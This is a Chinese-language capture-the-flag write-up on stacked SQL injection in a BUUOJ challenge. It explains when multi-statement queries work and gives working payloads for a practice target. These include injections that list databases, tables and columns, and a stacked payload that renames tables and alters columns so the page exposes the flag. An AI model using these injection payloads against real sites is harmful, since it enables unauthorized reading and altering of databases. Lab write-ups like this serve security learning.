0x00:写在前面
题目来源:https://buuoj.cn/challenges
参考wp:https://blog.csdn.net/qq_26406447/article/details/90643951
0x01:堆叠注入
原理很简单,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够~
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
0x02:wp~
打开题目,单引号轻而易举的报错
正常的sql注入开始,order by 2(这里是正常的) 然后union select 1,2-- -,就触发了过滤规则
尝试bypass无果,然后想了各种姿势,好像都和select要扯上关系(师傅有新思路 可以评论提示一下)
这里尝试堆叠注入
1‘;show databases;
1‘;show tables;(这里因为就是选中了当前数据库,所以直接show即可)
1‘;show columns from words;
1‘;show columns from `1919810931114514`;
查看两个表的字段名字,此时我们目标就是读取1919810931114514表的flag字段,但是限制了查询语句,所以我们需要通过当前页面的select展示语句进行得到flag
在当前页面有个与数据库交互的操作。id=1,2,3
那么这里是从words表里面进行查询
前面说过 我们可以通过堆叠注入进行怎删改查,那么此时我们可以把1919810931114514改为words表,然后添加id参数,再把原先的words给改为其他
讲白了就是占别人的窝
OK 开始
mysql修改表名的操作:
把默认的words改为ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改为words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一个字段id
ALTER TABLE words ADD id int(10) DEFAULT ‘1‘;
修改words里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上语句进行堆叠:所以payload:url?=1‘;rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT ‘12‘;ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
还有种语句格式:
把默认的words改为ww
rename table words to ww;
下面就都一样
验证:
flag就到手了
0x03:总结
堆叠注入不难,就是这个sql注入姿势太多啦,emmm 一开始自己捣鼓好久其他的,尝试各种绕过,还是不熟悉这个~ 啧!
这题感觉这个最后拿flag的姿势很有意思,能想到的人还蛮聪明的
原文:https://www.cnblogs.com/Tkitn/p/11964240.html